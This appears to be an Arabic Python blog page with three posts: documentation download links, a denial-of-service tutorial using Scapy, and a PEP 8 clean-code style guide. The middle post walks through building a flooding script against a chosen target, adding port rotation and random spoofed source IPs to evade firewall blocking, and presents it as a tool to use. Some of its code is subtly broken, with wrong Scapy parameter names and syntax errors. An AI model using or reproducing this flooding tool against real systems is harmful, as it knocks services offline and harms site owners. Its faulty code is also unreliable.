وثائق لغة البرمجة بايثون للتحميل بصيغة PDF, HTML, EPUB

0
وثائق لغة البرمجة بايثون للتحميل بصيغة PDF, HTML, EPUB
بايثون لغة برمجة سهلة التعلم مفتوحة المصدر و متعددة الاستعمالات, عالية الكفاءة فهي تتبع نهج بسيط ولكنه فعال للبرمجة. تم تطويرها من قبل جيدو فان روسم Guido Van Rossum في عام 1993, وهو كالتطبيقات والبرامج المفتوحة المصدر, مدعوم بفريق من المطوريين المنتشرين حول العالم. انشئت اللغة كبرمجة كائنية التوجه. من بين الأسباب الأخرى, نذكر سرعة التطوير (ميزة مهمة للبرامج المؤولة), الكمية الكبيرة من القوالب المرفقة في التوزيعة الأساسية بالإضافة لعدد الواجهات المتاحة مع مكتبات مكتوبة ببرمجة سي, برمجة سي++ أو Fortran. كما يتميز بسهولة ووضوح لغته, عكس لغة Perl.

تتميز بالسهولة من حيث الكتابة والقراءة ومن حيث التركيب النحوي لها،وهي لغة ذات قوة هائلة تخولك باحترافها ان تصمم موقعك الخاص او برنامجك الخاص ويكون مفتوح المصدر هو افضل مافيها بانها مفتوحة المصدر وتستطيع أن تبرمج بها في كل المنصات المعروفة الآن، فهي تصارع لغة Java العريقة، وتصلح لكل الأغراض تقريبا.

في طريقك لتعلم أي لغة برمجة ستحتاج الى مراجع أو الوثائق الرسمية للغة, ولغة بايثون بالذات لديها وثائق منسقة ومنظمة جاهزة للتحميل على شكل PDF أو HTML , أو EPUB
مراجع أو الوثائق الرسمية للغة, ولغة بايثون
وهي عبارة عن مكتبة تحتوي على أهم الدوال والمكتبات القياسية الموجودة في لغة بايثون ومشروحة بطريقة مبسطة مع توصيف كل دالة. وفي حالة تحميلها ستغنيك عن الانترنت اثناء تعلمك اللغة, فلن تحتاج البحث في محركات البحث عن شرح الدوال ووظيفتها. أترككم مع بعض الصور من داخلها وروابط التحميل



روابط تحميل وثائق بايثون

نسخة 2.6

نسخة 3.7

شرح برمجة اداة dos attack في بايثون بواسطة مكتبة scapy

0

شرح برمجة اداة dos attack في بايثون بواسطة مكتبة scapy

فى هذا المقال, سنتعرف على هجوم DdoS وفهم كيفية برمجة سكربت خاص بنا يقوم بحجب الخدمة Denial Of Service.
مع  تطور التكنلوجيا  وبروز التجارة الإلكترونية, أصبحت المواقع التجارية أكثر عرضة لهذا النوع من الهجمات, لأن توقف موقع تجاري لفترة من الزمن سيكبد صاحب الموقع خسائر كبيرة, ولهذا أصبحت هدفا سهلا و عرضة للهجمات الالكترونية التي يقوم بها القراصنة لابتزاز أصحاب المواقع,  وتنقسم هذه الهجمات لنوعين :

  • DoS  - Denial-of-Service
  • DDoS - Distribted Denial of Service

الفرق بين هذين الهجومين هو أن هجوم الدوس  Dos عادة يستخدم كمبيوتر واحد متصل بالإنترنت يستغل موارد   النظام الخاص بك في تنفيذ الهجوم وهذا النوع تأثيره محدود.
أما هجوم الدي دوس DDoS يستخدم أجهزة كمبيوتر متعددة واتصالات إنترنت لاغراق الهدف بطلبات كثيرة من أجهزة مختلفة في نفس الوقت, وهذا النوع هو الاقوى والمستعمل بكثرة في الهجوم على المواقع الالكترونية.
طبعا هذه مقدمة صغيرة وليست موضوعنا اليوم, فاليوم سنتعرف على كيفية صنع سكربت بأنفسنا وذلك باستعمال لغة البايثون ومكتبة سكابي Scapy هذه المكتبة يعرفها أصحاب الشبكات فهي مشهورة جدا.

نبدأ على بركة الله شرح برمجة اداة Dos Attack

أولا يتوجب عليك تثبيت مكتبة سكابي Scapy

pip install scapy

بعد انتهاء تثبيتها قم بفتح ملف واعطه اسم dos.py
الأن قم بكتابة استدعاء للمكتبة سكابي بهذه الطريقة
from scapy.all import *
الان سنضيف ثلاث متغيرات ستستقبل المدخلات التي يدخلها المستخدم, وهي الاي بي الخاص بجهاز الهكر Source , والاي بي الخاص بالضحية  Target  سواء كان موقع او سيرفر او جهاز كمبيوتر, والمدخل الثالث هو البورت المفتوح لدى الضحية والذي سننفذ الهجوم من خلاله
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
الان نكتب الدالة الاساسية الخاصة بسكربت الهجوم داخل حلقة loop لانهائية

i = 1
    while True:
        IP1 = IP(source_IP = source_IP, destination = target_IP)
        TCP1 = TCP(srcport = source_port, dstport = 80)
        pkt = IP1 / TCP1
        send(pkt, inter = .001)
        print ("packet sent ", i)
        i = i + 1

نشرح الكود السابق,

قمنا بانشاء متغير i وهو بمثابة عداد أو معامل زيادة بمقدار واحد, وهو يعمل مع حلقة while
IP1  هو متغير مررنا له دالة IP خاصة بمكتبة سكابي تحتوي على مدخلين: اي بي المهاجم وايبي الضحية . 
        IP1 = IP(source_IP = source_IP, destination = target_IP)
TCP1:  عبارة عن بروتوكول يحتاج الى مدخلين وهما البورت الخاص بالهاكر srcport والبورت الخاص بالضحية dstport
pkt: عبارة عن الحزمة التي سنرسلها لاغراق الهدف بالطلبات
وتتكون من الاجبي والبورت  السابقين 

        pkt = IP1 / TCP1
send هو أمر متعلق بمكتبة سكابي لارسال الحزمة التي صنعناها 
inter هو مجال زمني بين ارسال الحزمة الاولى والتي تليها
        send(pkt, inter = .001)
الامر الاخير هو طباعة عدد الحزم (i) التي قمنا بارسالها 
        print ("packet sent ", i)
ثم يقوم بزيادة العداد حتى يحسب الباكيت او الحزم المرسلة من طرفنا
        i = i + 1
وهذه صورة الكود الكامل للسكربت الذي صنعناه

سكربت بايثون  يقوم بحجب الخدمة Denial Of Service.

مادمت قد برمجت أداتك الأولى بنفسك ما رأيك لو نقوم باضافة لمسة صغيرة لها ؟, هل تعرف أن هذه اللمسة الصغيرة في بايثون تعني الشيء الكثير تابع معي:
نحن قمنا الأن ببرمجة أداة تقوم بمهاجمة الضحية سواء كان سيرفر او جهاز او غيره عن طريق بورت محدد, 
ماذا لو كان عند الضحية جدار حماية وقام بحماية نفسه, عن طريق فلترة ومنع البورت الخاص بالهكر من الوصول لجهازه؟  مشكلة اليس كذلك !
مارأيك لو نقوم بخداعه وتغيير البورت الخاص بنا كل جزء من الثانية. اممم تابع معي

Single IP Multiple port Dos Attack

نبدأ باضافة حلقة بسيطة للاداة من نوع for وهذه الحلقة دورها هو توليد ارقام عشوائية, من 0 الى 65535, وهذه الارقام سنستغلها على اساس انها بورتات, لاحظ كيف

from scapy.all import *

src = raw_input("Enter the Source IP ")
target = raw_input("Enter the Target IP ")

i=1
while True:
    for srcport in range(1,65535):       IP1 = IP(src=src, dst=target)
       TCP1 = TCP(sport=srcport, dport=80)       pkt = IP1 / TCP1
       send(pkt,inter= .0001)
      print "packet sent ", i
    i=i+1
ما قمنا باضافته هو وضع الكود السابق الخاص بنا داخل حلقة فور For
for srcport in range(1,65535):
ستقوم هذه الحلقة باخذ رقم من المجال 1 - 65535 ثم تستخدمه على اساس أنه بورت  srcport 

صورة للسكربت الكامل


لاحظ كم بورت يظهر عند الضحية عند فحص الترافيك على الشبكة بواسطة برنامج wireshark
Single IP Multiple port Dos Attack

الأن مادمت قد تعلمت كيفية  برمجة سكربت دوس اتاك متطور, دعنى نطوره أكثر من ذي قبل بحيث حتى وان استطاع الضحية من فللترة ومن الاي بي الخاص بنا من  يستمر السكربت في الهجوم, ولكن كيف ذلك؟
علينا بتطوير السكربت حتى يقوم بالهجوم السابق Multi Ports مع عدة ايبيات  Multi IP , 

Multiple IP multiple port Dos Attack

برمجة سكربت بهذه الخواص أمر معقد قليلا, لكنه ليس مستحيل, يجب عليك التركيز فقط تابع معي:
 نقوم باستدعاء مكتبة random اضافة الى scapy
random تقوم بتوليد اعداد عشوائية كما نريد, وباوامر سهلة


import random
from scapy.all import *
 متغير وحيد يطلب من المستخدم ادخال اي بي الضحية
target_IP = input("Enter IP address of Target: ")

الان الكود الاساس  لا تخف سأقوم بتبسيطه
while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   Source_ip = a + dot + b + dot + c + dot + d
 
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)
   
      print ("packet sent ", i)
         i = i + 1
طبعا نفس السكربت السابق ولكن الاختلاف يكمن في خاصية توليد الاي بي العشوائي
قمن باضافة متغيرات a,b,c,d تحمل رقم عشوائي من 1 - 254 وهي تمثل خانة من خانات الايبي الاربع
ثم اضافنا متغير dot وأسندنا له نقطة , الاي بي النهائي سينتج بهذا الكود بطريقة التعويض:
   Source_ip = a + dot + b + dot + c + dot + d
في الجزء الثاني من الكود وهو نفسه في السكربت الاول والثاني, قمنا باسناد الاي بي الذي ينتج من الدالة الاولى لها, ليقوم باستعماله اثناء ارسال الحزم
      IP1 = IP(source_IP = source_IP, destination = target_IP)
الايبي يصبح مكان عبارة source ip باللون الاصفر.

صورة للكود من المحرر vscode


وهذا عند فحص الضحية لشبكته, سيرى عدة ايبيهات قادمة
Multiple IP multiple port Dos Attack


الى هنا نكون قد وصلنا لنهاية هذا الموضوع,
في أمان الله.

كيفية كتابة كود بايثون نظيف Python Clean Code

0
كيفية-كتابة-كود-بايثون-نظيف-وجميل-Python-Clean-Code

كيفية كتابة كود بايثون نظيف Python Clean Code

في هذا المقال سأقدم بعض الإرشادات وأفضل الممارسات حول كيفية كتابة كود بايثون نظيف وجميل, لكن مهلاً

ماذا تعني بكود نظيف؟

الكود النظيف أو Clean Code باختصار هو كتابة شفرة برمجية منسّقة ومنظّمة وعلى اسس منطقية, قد تسأل نفسك لماذا يجب علي كتابة كود نظيف مادام الكمبيوتر لا يفهم سوى الصفر والواحد ولن يرى جمال الكود ولا تنسيقه, اذن :

لماذا هذا الاهتمام بتنظيم الكود و قابلية القراءة ؟

كما قال جايدو ڤان روسم (Guido van Rossum) هو مبرمج هولندي يُعرف بأنه مبتكر لغة البرمجة بايثون، "تتم قراءة الكود أكثر مما هو مكتوب" ويعني بذلك أنه يمكنك قضاء بضع دقائق ، أو يوم كامل ، في كتابة جزء من التعليمات البرمجية لمعالجة تسجيل الدخول لمستخدم. وبمجرد كتابتها ، لن تكتبها مرة أخرى. ولكن عليك بالتأكيد قراءتها مرة أخرى. قد تبقى هذه الشفرة جزءًا من مشروع تعمل عليه. في كل مرة تعود فيها إلى هذا الملف ، عليك أن تتذكر ما يفعله هذا الكود وسبب كتابته ، لذا فإن قابلية القراءة مهمة.
  • إذا كنت جديدًا في بايثون، فقد يكون من الصعب تذكر ما تفعله إحدى التعليمات البرمجية خلال بضعة أيام أو أسابيع من كتابته.يجب أن تعرف أن أغلب المشاريع بدأت صغيرة ثم بدأت تكبر وتتطور بفضل تعدد المبرمجين والمطورين وتعاونهم, فربما تكتب الان برنامج ثم ترفعه على موقع جيت هب Github فيقوم بتحميله مبرمج اخر لغرض تطويره واضافة ميزات اخرى للبرنامج, ولكن لسوء الحظ يجد هذا المبرمج أن برنامجك تمت كتابته بطريقة غير منظمة وغير مفهومة وسيقضي وقت كبير في فهم المتغيرات اوالدوال التي كتبتها, لكن في أغلب الأحيان يفضل هذا المطور إعادة بناء المشروع من الصفر على القيام بالتعديل عليه وتضييع وقته.

ما هي العوامل التي يجب عليك مراعتها لكتابة كود نظيف؟

اتفاقية التسمية Naming Conventions

عندما كود بايثون ، يجب عليك تسمية الكثير من الأشياء: المتغيرات ، الوظائف ، الأصناف ، الحزم ، وما إلى ذلك. 
اختيار أسماء منطقية ومعقولة سيوفر عليك الوقت والجهد في وقت لاحق لأنك ستتمكن من معرفة ما يمثله متغير معين أو وظيفة أو فئة معينة بمجرد قراءة الاسم. كما ستتجنب استخدام أسماء غير لائقة inappropriate قد تؤدي إلى أخطاء يصعب تصحيحها في المستقبل. سأعطيك مثالا:
لاحظ هذه الشفرة البرمجية:
O  =  2   # قد يبدو هذا وكأنك تحاول اسناد قيمة 2 إلى صفر
في بعض الأحيان بعض الخطوط التي نستعملها ستخلط عليك الامر وتظن أن 1 و 0 هي O و I ولا تفرق بين رقم واحد والحرف I
أو بين الصفر 0 وحرف O لاتيني 
ولهذا اتفق المبرمجون على اسس وقواعد للتسمية يمكن اعتبارها اتفاقية لتوحيد التسميات فيما بينهم
يوضح الجدول أدناه بعض أنماط التسمية الشائعة في كود Python ، وحين يجب عليك استخدامها:

أنماط التسمية Naming Styles



النوعالاتفاقيةأمثلة
Function
الوظيفة
استخدم كلمة أو كلمات صغيرة. افصل الكلمات باستخدام شرطات سفلية لتحسين القراءة. functionmy_function
Variable
متغير
استخدم حرفًا واحدًا صغيرًا أو كلمة أو كلمات. افصل الكلمات مع الشرطات السفلية لتحسين قابلية القراءة. xvarmy_variable
Class
الفئة
ابدأ كل كلمة بحرف كبير. لا تفصل بين الكلمات والشرطات السفلية. هذا النمط يدعى حالة الجمل Camelcase ModelMyClass
Method
الطريقة
استخدم كلمة أو كلمات صغيرة. افصل الكلمات مع الشرطات السفلية لتحسين قابلية القراءة. class_methodmethod
Constant
الثابت
استخدم حرفًا واحدًا كبيرًا أو كلمة أو كلمات. افصل الكلمات مع الشرطات السفلية لتحسين قابلية القراءة. CONSTANTMY_CONSTANT,
MY_LONG_CONSTANT
Module
الوحدة
استخدم كلمة أو كلمات قصيرة أو صغيرة. افصل الكلمات مع الشرطات السفلية لتحسين قابلية القراءة. module.pymy_module.py
Package
الحزم
استخدم كلمة أو كلمات قصيرة أو صغيرة. لا تفصل بين الكلمات والشرطات السفلية. packagemypackage

هذه بعض من اصطلاحات التسمية الشائعة وأمثلة حول كيفية استخدامها. ولكن لكتابة رمز قابل للقراءة ، لا يزال يتعين عليك توخي الحذر مع اختيارك للحروف والكلمات. بالإضافة إلى اختيار أنماط التسمية الصحيحة في شفرتك ، يجب عليك أيضًا اختيار الأسماء بعناية. فيما يلي بعض المؤشرات حول كيفية القيام بذلك بأكبر قدر ممكن من الفعالية.

كيفية اختيار الأسماء

يمكن أن يمثل اختيار الأسماء للمتغيرات والوظائف والفئات وما إلى ذلك تحديًا للمبرمج. يجب أن تضع قدرًا من الاهتمام في اختيارات التسميات الخاصة بك عند كتابة التعليمات البرمجية. لأنها ستجعل شفرة برنامجك أكثر قابلية للقراءة. 
أفضل طريقة لتسمية كائناتك في Python هي استخدام الأسماء الوصفية لتوضيح ما يمثله الكائن أو المتغير.
عند تسمية المتغيرات ، قد يميل المبرمج لاختيار أسماء صغيرة وبسيطة من حرف واحد ، مثل x. ولكن  ما لم تستخدم x كدالة رياضية ونحوها ، فليس من الواضح اذا ما الذي يمثله حرف x !. تخيل أنك تقوم بتخزين اسم شخص كسلسلة ، وتريد استخدام تقطيع السلسلة لتنسيق اسم الشخص بشكل مختلف. لنرى هذا المثال:

>>> x  =  'Cortex Hacker'
>>> y ،  z  =  x . split ()
>>> print ( z ،  y ،  sep = '،' )
'Hacker، Cortex'
طبعا سيؤدي الكود دوره ويعطينا النتيجة, لكن ألا ترى معي أن الكود مربك قليلا وغير واضح
لاحظ معي كيف يكون الكود النظيف:
>>> # مستحسن
>>> name  =  'Cortex Hacker'
>>> first_name ،  last_name  =  name . split ()
>>> print ( last_name ،  first_name ،  sep = '،' )
'Hacker، Cortex'
هل لاحظت الفرق ؟. اعتقد أن الأمر بات واضحاً الان.

الاختصارات

وبالمثل ، لتقليل كمية الكتابة التي تقوم بها ، قد يكون من المغري استخدام الاختصارات عند اختيار الأسماء. 
في المثال أدناه ، قمت بتعريف دالة بسيطة  ()mp تأخذ مدخل أو بارمترواحد هو (x) وتقوم بمضاعفته :
# غير مستحسن
def  mp ( x ):
    return  x  *  2
للوهلة الأولى ، قد يبدو هذا خيارًا معقولًا. ()mp يمكن بسهولة أن يكون اختصار لمضاعفة عدد multiply
ولكن تخيل معي أنك تركت برمجة مشروعك  أيام قليلة ثم عدت لتكمله. ربما تكون قد نسيت ما كنت تحاول تحقيقه من خلال هذه الوظيفة ، وهذا من شأنه أن يجعل من التفكير في كيفية اختصاره أمرًا صعبًا.
المثال التالي أكثر وضوحا. بحيث إذا عدت إلى هذا الكود بعد يومين من كتابته ، فستظل قادرًا على قراءة وفهم الغرض من هذه الوظيفة:
# مستحسن
def multiply_by_two(x):
    return x * 2
تنطبق نفس الفلسفة على جميع أنواع البيانات والكائنات الأخرى في Python. حاول دائمًا استخدام أكثر الأسماء شيوعًا لاعطائها وصف يجسد دورها.

تخطيط التعليمات البرمجية Code Layout

كما يقول المثل:
“Beautiful is better than ugly.”
والذي يعني   
"جميل أفضل من قبيحة."
كما تعلم مكان وضع كودك في المحرر يلعب دور كبير في كيفية قراءته. 
ستتعرف في هذا القسم على كيفية إضافة مسافة بيضاء عمودية لتحسين إمكانية قراءة الشفرة. 
وستتعلم أيضًا كيفية التعامل مع الحد المسموح به لعدد الأحرف المسموح به والبالغ 79 حرفًا في PEP 8.

الأسطر الفارغة Blank Lines

يمكن أن تؤدي المسافات البيضاء العمودية  Vertical whitespace أو الأسطر الفارغة إلى تحسين إمكانية قراءة التعليمة البرمجية بشكل كبير. 
لانه عند تجميعها ستصبح الشفرات متداخلة مع بعضها البعض مما يصعب قراءتها فيما بعد. وبالمثل ، فإن العديد من الأسطر الفارغة في شفرتك تجعلها تبدو متفرقة جدًا، وقد يحتاج القارئ إلى التمرير (scrollbar) أكثر من اللازم. 
فيما يلي ثلاثة إرشادات ونصائح أساسية حول كيفية استخدام المسافة البيضاء العمودية.
  • تحيط وظائف وفئات المستوى الأعلى مع سطرين فارغين. 
  • يجب أن تكون الوظائف والفئات ذات المستوى الأعلى قائمة بذاتها تمامًا وتتعامل مع وظائف منفصلة. 
  • الافضل ترك مسافة عمودية حولها ، بحيث يكون واضحًا أن الوظائف مستقلة فيما بينها.
مثال:

class  MyFirstClass :
    pass

class  MySecondClass :
    pass

def  top_level_function ():
    return  None

ينصح بترك سطر فارغ واحد فقط. داخل الكلاس او الفئة, وذلك عندما تكون الوظائف مرتبطة ببعضها البعض. فمن الأفضل عدم ترك سوى سطر واحد بينهما :
class MyClass:
    def first_method(self):
        return None
    def second_method(self):
        return None
استخدم الاسطر الفارغة داخل الدوال لتمييز الخطوات وجعلها واضحة. في بعض الأحيان، يجب أن تكمل إحدى الوظائف المعقدة عدة خطوات قبل العودة للعبارة return. وهذا يساعد القارئ على فهم المنطق داخل الدالة ، قد يكون من المفيد ترك سطر فارغ بين كل خطوة . مثال:
def calculate_variance(number_list):
    sum_list = 0
    for number in number_list:
        sum_list = sum_list + number
    mean = sum_list / len(number_list)
    sum_squares = 0
    for number in number_list:
        sum_squares = sum_squares + number**2
    mean_squares = sum_squares / len(number_list)
    return mean_squares - mean**2
إذا كنت تستخدم أسطر فارغة أو مسافات عموديًا بعناية ، فقد يؤدي ذلك إلى تحسن كبير في قراءة الشفرة البرمجية. 
فهي تساعد القارئ على فهم كيفية تقسيم الشفرة إلى أقسام ، وكيف ترتبط هذه الأقسام ببعضها البعض.

الحد الأقصى لطول السطر وتقسيم الاسطر:

لا يحبذ ان تكون السطر البرمجي طويل جدا, يجب أن يكون السطر محدودة إلى 79 حرفًا. 
بالطبع ، لا يمكن دائمًا الحفاظ على طول العبارات إلى 79 حرفًا أو أقل.ولكن هناك طرق تسمح بتقسيم العبارات عبر عدة أسطر.
في حالة كان السطر ينتهي باقواس أو ما شابه قم بتقسيمه بهذه الطريقة
def function(arg_one, arg_two,
             arg_three, arg_four):
    return arg_one
وفي حالات أخرى بهذه الكيفية:
from mypkg import example1, \
    example2, example3
في حالة كان الكود يحتوي على معاملات مثل +  او - وغيرها مثال هذا الكود:
total = (first_variable + second_variable - third_variable)
هناك من يقوم بتقسيمه بهذه الطريقة, ولكنها غير مستحسنة
total = (first_variable +
         second_variable -
         third_variable)
ينصح بتقسيمه بهذه الكيفية
# مستحسن
total = (first_variable
         + second_variable
         - third_variable)

المسافة البادئة Indentation :

المسافة البادئة ، أو المسافة البيضاء مهمة للغاية في بايثون. فهي تحدد مستوى المسافة البادئة لسطورالتعليمات البرمجية في بايثون وكيفية تجميع العبارات معاً.خذ بعين الاعتبار المثال التالي:
x = 3
if x > 5:
    print('x is larger than 5')
تسمح المسافة البادئة لبايثون بمعرفة أن تعليمة الطباعة Print لا تنفذ سوى داخل الشرط if. بمعنى أخر لا تنفذ الا في حالة كان الشرط صحيح True. 
فالمسافة البادئة تخبر بايثون بالشفرة التي يتم تنفيذها عند استدعاء الدالة أو الكود الذي ينتمي إلى فئة معينة.
قواعد المسافة البادئة الرئيسية التي وضعتها PEP 8 هي:
  • استخدم 4 مسافات متتالية للإشارة إلى المسافة البادئة.
  • يفضل استخدام المسافات بدلاً من استخدام علامة التبويب TAB.

مسافة التعليق hanging indent

هو مصطلح مطبعي يعني أن كل سطر يكون الأول في الفقرة أو المقال يتم وضع مسافة بادئة له. 
يمكنك استخدام مسافة بادئة معلقة hanging لتمثل استمرارًا لسلسلة من التعليمات البرمجية. 
إليك مثال على ذلك
# غير مستحسن
var = function(arg_one, arg_two,
    arg_three, arg_four)
بتطبيق المسافة المعلقة
# مستحسن
var = function(
    arg_one, arg_two,
    arg_three, arg_four)
عند استخدام مسافة بادئة معلقة ، قم بإضافة مسافة بادئة إضافية لتمييز السطر المقسم, من التعليمة البرمجية الموجودة داخل الدالة. يصعب قراءة المثال التالي لأن التعليمة البرمجية الموجودة داخل الدالة تكون عند نفس المسافة البادئة للسطر المستمر:
# غير مستحسن
def function(
    arg_one, arg_two,
    arg_three, arg_four):
    return arg_one
من الأفضل زيادة مسافة بادئة ليصبح بهذا الشكل
def function(
        arg_one, arg_two,
        arg_three, arg_four):
    return arg_one

كيفية اغلاق الأقواس:

هناك طريقتين لفعل ذلك
اصطفاف قوس الإغلاق مع أول مسافة غير بيضاء في السطر السابق:
list_of_numbers  =  [
    1 ،  2 ،  3 ،
    4 ،  5 ،  6 ،
    7 ،  8 ،  9
    ]
اصطفاف قوس الإغلاق مع أول حرف في السطر الذي يبدأ الإنشاء:
list_of_numbers  =  [
    1 ،  2 ،  3 ،
    4 ،  5 ،  6 ،
    7 ،  8 ،  9
]
أنت حر في اختيار النسق الذي تستخدمه. ولكن ، كما هو الحال دائمًا ، يكون التناسق أمرًا أساسيًا ، لذا حاول الالتزام بأحد الطرق المذكورة أعلاه.

التعليقات Comments

يجب عليك استخدام التعليقات على الكود كما هو مكتوب. من المهم توثيق شفرتك حتى تتمكن أنت وأية شريك لك من فهمها. 
عندما تقرأ أنت أو أي شخص آخر تعليقًا ، يجب أن يكون بمقدورهم فهم الكود الذي ينطبق عليه التعليق بسهولة وطريقة تناسبه مع بقية الشفرة.
إليك بعض النقاط الأساسية التي يجب تذكرها عند إضافة تعليقات إلى شفرتك:
  • الحد من طول خط التعليقات و docstrings إلى 72 حرفًا.
  • استخدم جمل كاملة ، تبدأ بحرف كبير.
  • تأكد من تحديث التعليقات إذا قمت بتغيير شفرتك.

كتلة التعليقات Block Comments

استخدم هذا النوع لتوثيق جزء صغير من الكود. هي مفيدة عندما تضطر إلى كتابة عدة أسطر من الكود لتنفيذ إجراء واحد ، مثل استيراد البيانات من ملف أو تحديث إدخال قاعدة بيانات. فهي مهمة لأنها تساعد الآخرين على فهم غرض ووظيفة كتلة الرموز المعطاة.

يوفر PEP 8 القواعد التالية لكتلة التعليقات Block Comments :
  • ضع تعليقات كتلة بادئة على نفس مستوى الكود البرمجي الذي يصفونه.
  • ابدأ كل سطر # متبوعًا بمسافة واحدة.
  • افصل بين الفقرات بخط يحتوي على مفردة #.
هنا مثال لتعليق الكتلة يشرح وظيفة حلقة for. 
لاحظ أن الجملة تلتف على سطر جديد للاحتفاظ بحد الخط البالغ 79 حرفًا:
for i in range(0, 10):
    # Loop over i ten times and print out the value of i, followed by a
    # new line character
    print(i, '\n')
في بعض الأحيان ، إذا كانت الشفرة البرمجية معقدة للغاية ، فمن الضروري استخدام أكثر من فقرة واحدة في تعليق كتلة:
def quadratic(a, b, c, x):
    # Calculate the solution to a quadratic equation using the quadratic
    # formula.
    #
    # There are always two solutions to a quadratic equation, x_1 and x_2.
    x_1 = (- b+(b**2-4*a*c)**(1/2)) / (2*a)
    x_2 = (- b-(b**2-4*a*c)**(1/2)) / (2*a)
    return x_1, x_2

تعليقات مضمنة Inline Comments

تشرح التعليقات المضمنة عبارة واحدة في جزء من الشفرة. من المفيد تذكيرك ، أو شرح للآخرين ، لماذا يلزم وجود سطر معين من التعليمات البرمجية. إليك ما يقوله PEP 8 عنهم:
  • لا تبالغ في استخدام التعليقات المضمنة, استخدمها باعتدال.
  • اكتب التعليقات المضمنة على نفس السطر الذي تشير إليه العبارة المراد ايضاحها.
  • تعليقات مضمنة منفصلة بمساحات أو أكثر من العبارات Statements.
  • ابدأ التعليقات المضمنة # بمساحة واحدة ، مثل تعليقات الحظر.
  • لا تستخدمها لشرح ما هو بديهي.
في ما يلي مثال على تعليق مضمّن:

x  =  5   # هذا تعليق داخلي

وأخيرًا ، فإن التعليقات المضمنة مثل هذه هي ممارسة سيئة حيث إنها تُظهر رمزًا واضحًا وفوضويًا:

empty_list = []  # Initialize empty list
x = 5
x = x * 5  # Multiply x by 5
التعليقات المضمنية أكثر تحديدًا من تعليقات Block ، ومن السهل إضافتها ,وعندما لا تكون ضرورية سيؤدي إلى فوضى. 
يمكنك أن تستغني عن استخدام تعليقات Block ، إلا إذا كنت متأكدًا من أنك تحتاج إلى تعليق ضمني.

سلاسل التوثيق Documentation Strings

سلاسل الوثائق أو docstrings ، هي سلاسل محاطة بعلامات اقتباس مزدوجة ( """) أو مفردة ( ''') تظهر في السطر الأول من أي دالة أو فئة أو طريقة أو وحدة نمطية. يمكنك استخدامها لشرح كتلة معينة من التعليمات البرمجية وتوثيقها. هناك PEP كامل ، PEP 257 ، الذي يغطي وثيقة ، ولكنك ستحصل على ملخص في هذا القسم.

أهم القواعد المطبقة على المستندات هي ما يلي:
  • تحيط بثلاث علامات اقتباس مزدوجة على جانبيها ، كما هو الحال في """This is a docstring""".
  • اكتبها لجميع الوحدات العامة والوظائف والطرق.
  • ضع """ تلك النهاية docstring متعدد الأسطر على سطر بنفسها:

def quadratic(a, b, c, x):
    """Solve quadratic equation via the quadratic formula.
    A quadratic equation has the following form:
    ax**2 + bx + c = 0
    There always two solutions to a quadratic equation: x_1 & x_2.
    """
    x_1 = (- b+(b**2-4*a*c)**(1/2)) / (2*a)
    x_2 = (- b-(b**2-4*a*c)**(1/2)) / (2*a)
    return x_1, x_2
بالنسبة لوثائق docstring المكونة من سطر واحد ، ضع العلامة """على نفس السطر:
def quadratic(a, b, c, x):
    """Use the quadratic formula"""
    x_1 = (- b+(b**2-4*a*c)**(1/2)) / (2*a)
    x_2 = (- b-(b**2-4*a*c)**(1/2)) / (2*a)
    return x_1, x_2

الفراغ في التعبيرات والبيانات

"متفرق هو أفضل من كثيف".
يمكن أن تكون المسافة البيضاء مفيدة جدًا في التعبيرات والعبارات عند استخدامها بشكل صحيح. إذا لم يكن هناك مساحة بيضاء كافية ، فقد يكون من الصعب قراءة الكود ،  إذا كان هناك الكثير من المسافات البيضاء ، فقد يكون من الصعب الجمع بين المصطلحات ذات الصلة بشكل مرئي في العبارة.

المسافات والمعاملات المنطقية

يجب احاطة المعاملات بمسافة واحدة على كلا الجانبين:
  • معاملات الاسناد ( =، +=، -=، الخ)
  • المقارنات ( ==، !=، >، <. >=، <=) و ( is، is not، in، not in)
  • العبارة البوليانية ( and، not، or)
استثناء : عندما تستخدم =  لاسناد قيمة افتراضية لدالة ، لا تحيطها بمسافات.
# مستحسن
def function(default_parameter=5):
    # ...

# غير مستحسن
def function(default_parameter = 5):
    # ...
عندما يكون هناك أكثر من معامل Operator  واحد في الكود ، فإن إضافة مسافة واحدة قبل وبعد كل معامل يمكن أن تبدو مربكة. بدلاً من ذلك ، من الأفضل فقط إضافة مسافة بيضاء حول العوامل ذات الأولوية الأقل ، خاصة في كتابة العبارات الرياضية performing mathematical manipulation. وهنا بضعة أمثلة:
# مستحسن
y = x**2 + 5
z = (x+y) * (x-y)

# غير مستحسن
y = x ** 2 + 5
z = (x + y) * (x - y)
يمكنك أيضًا تطبيق ذلك على العبارات التي توجد بها عدة شروط:
# غير مستحسن
if x > 5 and x % 2 == 0:
    print('x is larger than 5 and divisible by 2!')
في المثال أعلاه ، يكون المعامل and  أدنى أولوية. لذلك قد يكون من الواضح التعبير عن العبارة if على النحو التالي:
# مستحسن
if x>5 and x%2==0:
    print('x is larger than 5 and divisible by 2!')
أنت حر في اختيار ما هو أكثر وضوحا ، مع التحذير أنه يجب عليك استخدام نفس القدر من الفراغ على جانبي المعامل.
ما يلي غير مقبول:
# لا تستخدمها ابدا
if x >5 and x% 2== 0:
    print('x is larger than 5 and divisible by 2!')

متى يجب تجنب الفراغ

في بعض الحالات ، يمكن أن يؤدي إضافة مسافة بيضاء إلى جعل التعليمات البرمجية أكثر صعوبة في القراءة. 
الكثير من المسافات البيضاء يمكن أن تجعل الكود متفرقا بشكل مفرط ويصعب متابعته.
إن أهم مكان لتجنب إضافة المسافات البيضاء هو في نهاية السطر. هذا هو المعروف باسم زائدة بيضاء trailing whitespace . وهو غير مرئي ويمكن أن ينتج  عنه أخطاء يصعب تتبعها.
بعض الحالات التي يجب تجنب إضافة المسافات البيضاء إليها:
# مستحسن
my_list = [1, 2, 3]
# غير مستحسن
my_list = [ 1, 2, 3, ]
قبل الفاصلة أو الفاصلة المنقوطة أو النقطتين:
x = 5
y = 6
# مستحسن
print(x, y)
# غير مستحسن
print(x , y)
قبل أقواس الفتح  :
def  double ( x ):
    return  x  *  2
# مستحسن
double ( 3 )
# غير مستحسن
double  ( 3 )
قبل العارضة المفتوحة التي تبدأ القائمة او القاموس:
# مستحسن
list[3]
# غير مستحسن
list [3]
